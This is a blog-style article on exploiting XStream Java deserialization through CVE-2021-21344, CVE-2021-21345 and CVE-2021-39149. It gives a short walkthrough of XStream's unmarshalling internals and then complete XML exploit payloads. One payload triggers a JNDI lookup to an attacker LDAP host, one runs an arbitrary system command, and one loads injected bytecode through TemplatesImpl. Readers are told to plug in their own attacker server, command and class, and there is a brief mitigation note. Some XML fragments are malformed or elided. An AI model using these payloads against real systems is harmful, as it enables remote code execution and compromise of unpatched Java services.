Exploiting Deserialization Vulnerabilities in XStream

XStream is a popular Java library for serializing objects to XML and back. However, versions prior to 1.4.15 (and certain later patches) are vulnerable to deserialization attacks that can lead to remote code execution. This article explores the internals of XStream's deserialization mechanism and demonstrates how three critical CVEs (CVE-2021-21344, CVE-2021-21345, CVE-2021-39149) can be exploited.

Basic Setup and Deserialization Walkthrough

To begin, add the XStream dependency (version 1.4 used for demonstration):

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4</version>
</dependency>

A simple Java bean and its serialization/deserialization test:

// Person.java
public class Person implements java.io.Serializable {
    private String name;
    private int age;
    private School school;

    public Person() {}
    public Person(String name, int age, School school) {
        this.name = name;
        this.age = age;
        this.school = school;
    }

    // getters and setters omitted for brevity

    private void readObject(java.io.ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        System.out.println("Person deserialized");
    }
}

// Main test
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class XstreamTest {
    public static void main(String[] args) {
        XStream xstream = new XStream(new DomDriver());
        Person person = new Person("Alice", 25, new School("MIT", 42));
        String xml = xstream.toXML(person);
        System.out.println(xml);

        Person deserialized = (Person) xstream.fromXML(xml);
    }
}

When fromXML is called, XStream performs the following steps:

  • Creates a TreeUnmarshaller (an instance of ReferenceByXPathUnmarshaller).
  • Uses a Mapper chain (decorator pattern) to resolve XML element names to Java classes.
  • Uses a ConverterLookup to find the appropriate converter for each element.
  • The DomDriver parses the entire XML into memory.
  • During unmarshalling, it reads the class attribute (or resolves-to) to determine the target type. If absent, it falls back to realClass which uses DefaultMapper#realClass to load the class via Class.forName (cached in realClassCache).
  • Then convertAnother is called, and for classes implementing Serializable, the SerializableConverter is used. This converter eventually invokes callReadObject, which calls the custom readObject method via reflection.

The call stack for a typical serializable bean:

readObject:85, Person
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
callReadObject:113, SerializationMethodInvoker
doUnmarshal:412, SerializableConverter
unmarshal:230, AbstractReflectionConverter
convert:72, TreeUnmarshaller
convert:65, AbstractReferenceUnmarshaller
convertAnother:66, TreeUnmarshaller
convertAnother:50, TreeUnmarshaller
start:134, TreeUnmarshaller
unmarshal:32, AbstractTreeMarshallingStrategy
unmarshal:1035, XStream
fromXML:895, XStream

CVE-2021-21344: JNDI Injection via PriorityQueue

Affected versions: ≤ 1.4.15

This vulnerability leverages a chain starting with java.util.PriorityQueue and its custom comparator. The XML payload deserializes a PriorityQueue that, during heapify (called in readObject), triggers comparisons. The comparator is crafted to eventually invoke JdbcRowSetImpl.getDatabaseMetaData(), which performs a JNDI lookup on a user-controlled dataSource attribute. This can be used to load a remote class via LDAP or RMI.

Example payload (modify the dataSource URL to your attacker server):

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.rowset.JdbcRowSetImpl</class>
                          <name>getDatabaseMetaData</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                  <javax.sql.rowset.BaseRowSet>
                    <default>
                      <concurrency>1008</concurrency>
                      <escapeProcessing>true</escapeProcessing>
                      <fetchDir>1000</fetchDir>
                      <fetchSize>0</fetchSize>
                      <isolation>2</isolation>
                      <maxFieldSize>0</maxFieldSize>
                      <maxRows>0</maxRows>
                      <queryTimeout>0</queryTimeout>
                      <readOnly>true</readOnly>
                      <rowSetType>1004</rowSetType>
                      <showDeleted>false</showDeleted>
                      <dataSource>ldap://attacker.example.com:1389/evil</dataSource>
                      <params/>
                    </default>
                  </javax.sql.rowset.BaseRowSet>
                  <com.sun.rowset.JdbcRowSetImpl>
                    <default>
                      <iMatchColumns>
                        <int>-1</int>...</int>
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>...<null/>
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

Chain summary: PriorityQueue.readObjectsiftDownUsingComparatorDataTransferer$IndexOrderComparator.compareResponseContext.get → ... → JdbcRowSetImpl.connect → JNDI lookup.

CVE-2021-21345: Local Command Execution

Affected versions: ≤ 1.4.15

This is a variation of the previous CVE, replacing the JNDI target with a class that executes arbitrary commands locally. The jaxbType is changed to com.sun.corba.se.impl.activation.ServerTableEntry, and its verify method is invoked, which executes the activationCmd string as a system command.

Payload (adjust activationCmd to your command):

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                          <name>verify</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                  <activationCmd>calc</activationCmd>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

The ServerTableEntry.verify() method executes Runtime.exec(activationCmd), providing direct command execution without requiring a remote server.

CVE-2021-39149: Code Execution via TemplatesImpl

Affected versions: ≤ 1.4.17

This vulnerability uses a LinkedHashSet in combination with a dynamic proxy to invoke TemplatesImpl.getOutputProperties() from the XSLT libray. The attacker embeds a byte array containing a compiled Java class (e.g., a "Eval" class that runs Runtime.exec) into the TemplatesImpl object. When getOutputProperties() is called, the class is loaded and its newTransformer() triggers execution.

Payload (replace the byte arrays with your own compiled class):

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>...</byte-array>
                      <byte-array>...</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                  <boolean>false</boolean>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

This payload triggers getOutputProperties() on the proxy, which internally loads the malicious bytecode and executes it. The byte arrays should be generated using a tool like ysoserial or manually compiled evil classes.

Mitigation

Upgrade XStream to version 1.4.19 or later. If upgrading is not possible, implement a whitelist of allowed classes using XStream's setAcceptUnknownTypes or custom Mapper.

Tags: XStream deserialization CVE-2021-21344 CVE-2021-21345 CVE-2021-39149

Posted on Wed, 20 May 2026 02:47:44 +0000 by skymanj